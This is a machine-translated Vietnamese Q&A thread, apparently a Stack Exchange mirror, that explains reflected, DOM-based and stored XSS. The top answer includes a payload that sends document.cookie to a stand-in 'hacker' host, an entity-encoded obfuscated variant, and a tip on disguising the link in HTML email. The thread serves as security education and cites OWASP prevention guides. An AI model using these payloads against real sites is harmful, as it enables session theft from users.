it-swarm-vi.com

XSS hoạt động như thế nào?

Tôi có rất ít kinh nghiệm trong việc phát triển web, nhưng tôi quan tâm đến bảo mật. Tuy nhiên, tôi chưa hiểu đầy đủ về cách thức hoạt động của XSS. Bạn có thể giải thích nó cho med? Bài viết Wikipedia cho tôi một ý tưởng hay nhưng tôi không nghĩ rằng tôi hiểu nó rất rõ.

89
Ither

XSS - Tập lệnh chéo trang (nhưng không giới hạn ở tập lệnh chéo trang thực tế)

XSS thường được trình bày theo 3 cách khác nhau:

Không cố định (thường được gọi là XSS được phản ánh)

Đây là khi bạn có thể tiêm mã và máy chủ trả lại mã cho bạn, không được mã hóa. Thông thường, điều này có thể được khai thác bằng cách phân phối một URL (thường trông vô tội) dưới một số hình thức hoặc cách để người khác nhấp vào.

Điều này có thể đặc biệt hiệu quả khi bạn đối phó với các cuộc tấn công tập trung chống lại ai đó. Miễn là bạn có thể khiến ai đó nhấp vào URL bạn đã gửi, có cơ hội bạn có thể nhận được các đặc quyền nâng cao trên hệ thống.

Thí dụ:

Trang web chứa trường tìm kiếm không có vệ sinh đầu vào thích hợp. Bằng cách tạo một truy vấn tìm kiếm trông giống như thế này:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Ngồi ở đầu bên kia, tại máy chủ web, bạn sẽ nhận được lượt truy cập trong đó sau một khoảng trống kép là cookie người dùng. Bạn có thể gặp may nếu quản trị viên nhấp vào liên kết, cho phép bạn ăn cắp phiên ID của họ và chiếm quyền điều khiển phiên.

Sử dụng các kỹ thuật như email spam, bài đăng trên bảng tin, tin nhắn IM, Công cụ kỹ thuật xã hội lỗ hổng này có thể rất nguy hiểm.

Dựa trên DOM

Rất giống với không liên tục, nhưng nơi tải trọng javascript không phải được lặp lại từ máy chủ web. Đây thường có thể là nơi đơn giản là giá trị từ một tham số URL được lặp lại trên trang khi đang tải bằng cách sử dụng javascript đã cư trú.

Thí dụ:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Tất nhiên bọn tội phạm sẽ sửa đổi URL để làm cho nó trông ngây thơ hơn. Tải trọng tương tự như trên chỉ được mã hóa khác nhau:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Bạn thậm chí có thể che giấu nó tốt hơn khi gửi đến các ứng dụng email hỗ trợ HTML như thế này:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Kiên trì

Một khi bạn có thể duy trì một vectơ XSS, cuộc tấn công trở nên nguy hiểm hơn rất nhanh. XSS liên tục được phản hồi lại cho bạn từ máy chủ, thường là do XSS đã được lưu trữ trong trường cơ sở dữ liệu hoặc tương tự. Xem xét các đầu vào sau được lưu trữ vào cơ sở dữ liệu và sau đó trình bày lại cho bạn trong hồ sơ của bạn:

<input type="text" value="Your name" />

Nếu bạn có thể làm cho ứng dụng chấp nhận và lưu trữ đầu vào không được xác nhận, tất cả những gì bạn phải làm là khiến người dùng khác xem hồ sơ của bạn (hoặc nơi XSS được phản ánh lại).

Những loại XSS này có thể không chỉ khó phát hiện mà còn rất tàn phá hệ thống. Chỉ cần nhìn vào sâu XSS có tên sâu Samy !

Trong những ngày đầu của XSS, bạn đã thấy loại hình khai thác này trên tất cả các sổ lưu bút, cộng đồng, đánh giá của người dùng, phòng trò chuyện, v.v.


Hai vectơ tấn công

Bây giờ bạn đã biết các cách khác nhau để cung cấp tải trọng XSS, tôi muốn đề cập đến một vài vectơ tấn công XSS có thể rất nguy hiểm:

  • XSS đào tẩu

    XSS không phải là một kỳ công khó thực hiện. Nếu XSS cũng liên tục, nó có thể gây rắc rối cho các hệ thống quản trị hệ thống. Hãy xem RSnake Stallown "tấn công" lấy ra tính năng xem trước sách của Amazon. Đọc khá buồn cười.

  • Ăn cắp cookie và chiếm quyền điều khiển phiên

    Như một trong những ví dụ trên, một khi bạn có thể truy cập cookie của người dùng, bạn cũng có thể lấy thông tin nhạy cảm. Việc bắt giữ sessionID có thể dẫn đến chiếm quyền điều khiển phiên, do đó có thể dẫn đến các đặc quyền nâng cao trên hệ thống.

Xin lỗi về bài dài. Tôi sẽ dừng ngay bây giờ. Như bạn có thể thấy, XSS là một chủ đề rất lớn để đề cập. Tôi hy vọng tôi đã làm cho nó rõ ràng hơn một chút cho bạn, mặc dù.


Khai thác XSS bằng BeEF

Để dễ dàng thấy XSS có thể được khai thác như thế nào, tôi khuyên bạn nên dùng thử BeEF , Khung khai thác trình duyệt. Khi nó được giải nén và chạy trên máy chủ web với PHP, bạn có thể dễ dàng thử sinh ra một mô phỏng của một nạn nhân (được gọi là zombie), nơi bạn có thể rất dễ dàng thử các tải trọng XSS khác nhau. :

  • Mạng cục bộ Portscan
  • Mạng cục bộ Pingsweep
  • Gửi applet bị nhiễm virus, đã ký và sẵn sàng
  • Gửi tin nhắn cho khách hàng
  • Thực hiện cuộc gọi Skype

Danh sách cứ kéo dài. Đề nghị xem video trên trang chủ BeEF.

CẬP NHẬT: Tôi đã hoàn thành viết lên XSS trên blog của tôi mô tả XSS. Nó chứa một chút về lịch sử của XSS, các loại tấn công khác nhau và một số trường hợp sử dụng bao gồm BeEF và Shank.

80
Chris Dale

Để cõng những gì SteveSyfuhs nói, có nhiều cách độc hại có thể sử dụng XSS.

Ví dụ:

Một ví dụ sẽ là tiêm mã độc vào trường cơ sở dữ liệu. Sau đó, bất cứ khi nào trường đó được hiển thị cho người dùng cuối không được xác nhận, trình duyệt của họ sẽ thực thi mã. Điều này được gọi là Tập lệnh chéo trang web liên tục/được lưu trữ.

Một cách khác là khả năng chèn mã vào các tham số GET hoặc POST mà không được xác thực hoặc vệ sinh. Khi các biến đó sửa đổi nội dung trang của bạn, dữ liệu đã sửa đổi sẽ được hiển thị cho người dùng cuối và trình duyệt của họ sau đó sẽ thực thi mã độc. Điều này thường xuất hiện trong các liên kết độc hại qua email/web gửi các tham số GET này khi ai đó nhấp vào liên kết. Đây được gọi là Scripted Cross Site Scripting.

Tài nguyên:

Phần mềm Fortify có một tài nguyên tuyệt vời để giải thích các lỗ hổng và đưa ra ví dụ: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Nhấp vào ngôn ngữ của sự lựa chọn và bên dưới Xác thực đầu vào và
    [.__.] Đại diện bạn có thể chọn từ các loại Trang web chéo khác nhau
    [.__.] Các lỗ hổng kịch bản theo định nghĩa của Phần mềm Fortify.

[~ # ~] owasp [~ # ~] có một tài nguyên tuyệt vời để giải thích cách ngăn ngừa lỗ hổng XSS: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevent_Cheat_Sheet

14
Purge

XSS là về việc cho phép dữ liệu tùy ý vào một hệ thống và sau đó hiển thị dữ liệu đó không được sửa đổi cho người dùng. Nếu tôi lưu một số js vào hồ sơ của mình và có ai đó xem trang đó, js sẽ thực thi. Ví dụ, tôi có thể yêu cầu js gửi nội dung của cookie người dùng đến dịch vụ web của mình, cho phép tôi làm bất cứ điều gì tôi muốn với cookie của họ như ăn cắp phiên của họ.

9
Steve

Tóm lại, Scripting nhiều trang web lừa trình duyệt web thực thi mã độc vì các nhà phát triển đã không kiểm tra đầu vào không đáng tin cậy.

Vì vậy, nếu bạn lấy một ví dụ tấn công XSS, đầu vào không tin cậy có thể là một tham số URL có chứa JavaScript. Nhà phát triển giả định tham số chỉ chứa dữ liệu (hoặc không kiểm tra đầy đủ) và chỉ cần thêm nội dung của tham số vào trang HTML. Trình duyệt sau đó thực thi JavaScript một cách mạnh mẽ và bạn có cho mình một cuộc tấn công XSS được phản ánh.

Thông tin chi tiết có thể được tìm thấy ở đây: trang OWASP XSS

8
Ventral